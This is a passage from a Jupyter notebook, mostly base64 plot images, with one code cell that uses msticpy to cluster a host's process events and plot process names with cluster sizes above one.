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", "text/plain": [ "
" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "from msticpy.analysis.eventcluster import dbcluster_events, add_process_features\n", "\n", "processes_on_host = pd.read_csv(\n", " \"data/processes_on_host.csv\",\n", " parse_dates=[\"TimeGenerated\"],\n", " infer_datetime_format=True,\n", ")\n", "\n", "feature_procs = add_process_features(input_frame=processes_on_host)\n", "\n", "\n", "# you might need to play around with the max_cluster_distance parameter.\n", "# decreasing this gives more clusters.\n", "(clus_events, dbcluster, x_data) = dbcluster_events(\n", " data=feature_procs,\n", " cluster_columns=[\"commandlineTokensFull\", \"pathScore\", \"isSystemSession\"],\n", " time_column=\"TimeGenerated\",\n", " max_cluster_distance=0.0001,\n", ")\n", "print(\"Number of input events:\", len(feature_procs))\n", "print(\"Number of clustered events:\", len(clus_events))\n", "clus_events[[\"ClusterSize\", \"processName\"]][clus_events[\"ClusterSize\"] > 1].plot.bar(\n", " x=\"processName\", title=\"Process names with Cluster > 1\", figsize=(12, 3)\n", ")\n", "\n" ] }, { "cell_type": "code", "execution_count": 4, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "Text(1, 1, 'Variability of Path')" ] }, "execution_count": 4, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAz8AAALRCAYAAAB1bB0FAAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjUuMCwgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy8/fFQqAAAACXBIWXMAAAsTAAALEwEAmpwYAAEAAElEQVR4nOzde1zO9//48UeuDg45LwwxbJJT0w5FzswhnXO2mDkMSzFSiHJIVM7m9GFoztPVibBNInPemOVsDquhJKdKp+u6fn/0c33XKmJReN5vt91u9b7e79fr+X5e17br2ev1fr10NBqNBiGEEEIIIYR4w5Up6QCEEEIIIYQQ4lWQ4kcIIYQQQgjxVpDiRwghhBBCCPFWkOJHCCGEEEII8VaQ4kcIIYQQQgjxVpDiRwghhBBCCPFWkOJHCCGEEOIlGzRoECNGjCjwteTkZJo2bcr+/fufu10XFxfmzZtXpHOXLl2Kk5NToa8rlUosLCwAOHbsGCYmJqSlpQHQuXNnNm7cCEBaWho//PDDc8daVAsWLMDc3JyPPvqIBw8eFHhOfHw8kydPpl27dpiZmWFra8vGjRtRq9UvLa7SwMLCAqVSCeR97//53hU3ExOTp/6TkJBQ6LX//hyVBrolHYAQQgghxJvOwcGBGTNm8ODBAypXrpzntaioKCpXrky7du2eu92lS5eiq1s8X+esra3p0KFDga/t2LGDcuXKAbBu3Tqio6Pp06dPsfT7T4mJiaxatYpZs2bRpk2bfLkCiIuLY+jQoXTq1Illy5ZRrVo1Tpw4wZw5c7h69SrTp08v9rhKu6e9d//VoUOHtD9/++23XLhwgaVLl2qPVatW7aX0+7JI8SOEEEII8ZL16NGDWbNm8fPPP+Ps7JzntV27dtGrV68XKmKqVKlSTBFC2bJlKVu2bIGv/fMLrkajKbY+/+3hw4cAtG7dmrp16+Z7XaPR4OnpSdeuXfH399ceNzY2pmzZsowfP54BAwbwwQcfvLQYS6OnvXf/lZGRkfbncuXKoaenl+fY60amvQkhhBBCvGQVK1akU6dO7NmzJ8/xhIQETp8+jYODAzk5OSxcuJDOnTvTrFkz2rRpw+zZs1GpVAB4eXkxceJE+vTpw6effsrhw4fzTH161vWQWzzMnj2bVq1a0bZtW4KDg7WvPW3q1JNpb0qlkmXLlnH27FlMTEw4c+YMJiYm3LhxQ3tuRkYGrVq14ujRowW2dejQIfr06cOHH35Ip06dWLNmDRqNhmPHjmFjYwNA165d8fLyynft6dOnuXLlCsOHD8/3Wo8ePVi/fj316tUD4NGjR8yaNUs7NW7YsGFcvXo1zz1t2bKFgQMH0qJFC+zs7Lh06RJLly7FwsICS0tL/ve//2nPd3FxYcWKFYwaNYqWLVvSrVs3jh07xpYtW2jXrh2ffPIJs2fP1p6fnp6Or68vbdu2pVmzZnTo0IHly5drX/fy8sLX15fJkyfTqlUrOnfunOd1lUpFYGAglpaWWFhYaKcdFuSf711CQgImJibs2bOHnj170qpVK1xcXPLc+7Vr1xg2bBhmZmZ06tSJgIAAsrKyCm3/af744w8GDx6s/UwFBgaSnZ1d4LmbNm3iww8/5MSJEwDcuXMHd3d37bVTp07l0aNH2vNNTExQKpU4OTlhZmZGnz59OHXqlPb1bdu28dlnn9G8eXN69OhBWFjYM+OV4kcIIYQQ4hWwt7fnyJEjeZ5j2bVrF++//z7Nmzdn7dq1hIeHM3fuXPbu3cukSZPYvHkzP//8s/b8yMhIBgwYwIYNG2jVqlWe9oty/blz57hz5w4//PADkyZNYv78+URERBT5Hqytrfnyyy9p0qQJhw4dolmzZrz33nvs2rVLe86+ffuoWLEin376ab7rT5w4wciRI+nUqROhoaGMHz+e5cuXs3nzZlq1asX3338PwA8//MDUqVPzXX/+/HkqVKhAo0aN8r1WpkwZWrdujYGBAQBubm4cO3aMBQsWsH37dgwMDBg2bBiPHz/WXrNo0SK+/PJLwsLCUCgUfP755/z9999s3ryZoUOHMn/+/DyF3cqVK+nSpQuRkZHUq1cPV1dX9u3bx3fffcfkyZPZuHEjR44cAWDu3LmcPn2a5cuXs2fPHlxcXFi8eDFxcXHa9nbs2EHNmjUJCQmhd+/eeV5fvnw5YWFhBAQEsGHDBn788Ufu379f5Pdq2bJlzJw5kw0bNnDnzh0CAgIAyMzMZNiwYRgbGxMaGkpAQACxsbF5CreiunbtGi4uLrz//vvs2LGDWbNmER4ezoIFC/Kdu2vXLgICAvj222/55JNPABg7diwajYZt27axYsUK/vrrL8aPH5/nukWLFuHu7s62bdvQ09PTTms8e/Yss2bNwsvLi7179+Li4oKXlxfXr19/asxS/AghhBBCvALt2rXD0NAwTzGyc+dO7O3tAXj//ffx9/fn008/pW7dujg4ONCoUSOuXLmiPb9BgwY4OTlhamqqfQbniaJcX7lyZfz9/Xn//fexs7OjX79+bN68ucj3ULZsWcqXL49CocDIyAiFQoGtrS1RUVHacyIjI+nVqxdlyuT/mv